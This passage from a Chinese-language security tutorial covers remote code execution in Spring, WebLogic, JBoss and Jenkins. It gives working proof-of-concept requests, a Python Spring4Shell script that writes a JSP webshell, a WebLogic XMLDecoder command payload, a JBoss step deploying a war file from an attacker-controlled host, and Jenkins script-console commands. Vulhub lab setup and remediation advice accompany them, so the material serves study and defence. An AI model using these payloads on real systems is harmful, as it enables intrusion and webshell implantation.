永远不要拼接用户输入到 SpEL 表达式中
使用 Spring Security 进行表达式校验

9.2 Spring RCE 典型风险点案例

1）Spring4Shell（CVE-2022-22965）

影响版本：

Spring Core <= 5.3.17 / 5.2.19
JDK >= 9

原理

当使用 Tomcat 作为 WAR 部署，Spring 自动绑定参数到 ClassLoader 属性，攻击者可通过特定参数构造将 WebShell 写入服务器。

核心点：JDK 9+ 允许访问 class.module.classLoader.resources.context.parent.pipeline.first

利用 POC：

POST /demo HTTP/1.1
Content-Type: application/x-www-form-urlencodedclass.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

然后再发：

POST /demo HTTP/1.1
Content-Type: application/x-www-form-urlencodedc2=<% out.println("Hello SpringShell"); %>

会写入 /shell.jsp

2）CVE-2018-1273（Spring Data Commons RCE）

影响：Spring Data Commons <= 1.13.10 / 2.0.5

POST /users
Content-Type: application/x-www-form-urlencodedname[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")]=1

原因：Spring 的 DataBinder 自动将参数绑定到 Bean 上，未做黑名单校验

9.3 实战复现推荐（Spring4Shell）

1）启动环境（使用 Vulhub）

git clone https://github.com/vulhub/vulhub
cd vulhub/spring/spring-core-rce
docker-compose up -d

2）编写利用脚本（Python）

import requestsurl = "http://127.0.0.1:8080/demo"headers = {"Content-Type": "application/x-www-form-urlencoded"}payload1 = ("class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i&""class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&""class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&""class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&""class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
)payload2 = "c2=<% out.println(\"SpringShell Pwned\"); %>"requests.post(url, headers=headers, data=payload1)
requests.post(url, headers=headers, data=payload2)print("访问 http://127.0.0.1:8080/shell.jsp 查看结果")

9.4 防御与修复建议

防御手段	描述
升级 Spring Framework	官方已在新版修复
使用 JDK < 9	避免触发条件（仅 Spring4Shell）
禁用参数绑定 class 相关属性	过滤 `class.`, `module.` 等参数
开启 WAF	拦截特征字段或表达式
安全审计代码	检查是否使用 SpEL 动态执行，是否使用 DataBinder 类等

9.5 小结

项目	内容
框架	Spring Core / Spring Boot / Spring MVC
常见风险点	SpEL 表达式注入、Spring4Shell、Binder 注入
危害	命令执行、文件写入、远程控制
难度	低 - 中
实战频率	高
修复	禁用自动绑定，升级框架，参数过滤

十、WebLogic/JBoss/Jenkins 等后台 getshell 案例

10.1 WebLogic Getshell 案例

1）WebLogic 简介

Oracle WebLogic 是一款 Java EE 应用服务器，广泛应用于大型企业后台，如政务网、金融、教育等。

常见攻击点：

XMLDecoder 反序列化
T3 协议远程执行
SSRF 转发内网
任意文件上传写 shell

2）典型风险点：CVE-2019-2725

风险点类型：XMLDecoder + 未授权命令执行

路径：/_async/AsyncResponseService
无需登录
可远程执行任意命令

利用 PoC（POST）：

POST /_async/AsyncResponseService HTTP/1.1
Host: target
Content-Type: text/xml<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header/><soapenv:Body><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>cmd</string></void><void index="1"><string>/c</string></void><void index="2"><string>calc</string></void></array><void method="start"/></object></java></work:WorkContext></soapenv:Body>
</soapenv:Envelope>

弹出计算器（命令执行成功）

3）常见风险点汇总

CVE编号	简述	影响范围
CVE-2017-10271	XMLDecoder RCE	WebLogic 10.3.6、12.1.3
CVE-2018-2894	任意文件上传	/ws_utc 路径存在时
CVE-2020-2551	T3 协议反序列化	远程命令执行
CVE-2020-14645	JNDI 注入	JDK 与 WebLogic 联动

4）修复建议

关闭 T3 协议或设置防火墙只允许内网访问
关闭 XMLDecoder 功能
升级到最新版本
使用 WAF 过滤 SOAP、WorkContext 等关键字段

10.2 JBoss Getshell 案例

1）JBoss 简介

JBoss 是 Red Hat 的 Java EE 应用服务器（后更名为 WildFly），历史版本管理后台默认无认证，是 Getshell 重灾区。

2）风险点：未授权部署 WebShell

风险点原理：

JMX 控制台部署 war 包
使用 MainDeployer 上传任意 .war 包（内含 shell.jsp）

风险点利用方式（无需密码）

访问 JMX 控制台：

http://target:8080/jmx-console/

调用部署：

MainDeployer -> deploy('http://your-ip/shell.war')

成功后访问：

http://target:8080/shell/shell.jsp

直接 getshell

3）常见风险点

风险点	简述
jmx-console 无认证	可部署 war 包 getshell
web-console 任意部署	管理页面未授权风险点
InvokerServlet 反序列化	命令执行（JBossInvoker）

4）修复建议

禁止公网访问 jmx-console、web-console
设置认证（默认未开启）
升级到 WildFly 新版
添加防火墙策略，拦截 8080、1099 端口

10.3 Jenkins Getshell 案例

1）Jenkins 简介

Jenkins 是常见的持续集成系统，Web 界面操作方便，但早期版本存在大量 RCE 和 未授权访问 风险点。

2）风险点：CVE-2018-1000861

原理：

利用 Groovy 脚本执行器执行任意命令
默认管理员用户未加权限校验

利用流程：

访问 Script Console：

http://target:8080/script

执行命令脚本：

def proc = "whoami".execute()
println proc.text

获取当前用户

3）风险点：未授权 API 接口

部分版本可以使用 Jenkins API 直接发起命令执行：

curl -X POST http://target:8080/cli -d "groovy=println 'hello'"

4）Getshell 思路

通过 Script Console 写入 shell.jsp 到 webroot
通过 Job 构建中插入恶意脚本
利用 SSRF + JNLP 通道实现反弹 Shell

5）修复建议

设置 Script Console 管理员权限
关闭匿名访问或开启登录认证
限制远程 CLI 端口和 API 使用
Jenkins 插件及时更新（部分插件存在 RCE）

10.4 总结对比

服务	风险点类型	危害	利用难度
WebLogic	XMLDecoder / T3 / 文件上传	RCE / getshell	中等
JBoss	JMX 控制台无认证 / 反序列化	直接部署 shell.war	低等
Jenkins	Script Console / 插件 RCE / API 命令执行	RCE + 文件写入	中等

10.5 推荐实战环境搭建（Vulhub）

git clone https://github.com/vulhub/vulhub
cd vulhub
# WebLogic
cd weblogic/CVE-2017-10271 && docker-compose up -d
# JBoss
cd jboss/unserialize && docker-compose up -d
# Jenkins
cd jenkins/jenkins && docker-compose up -d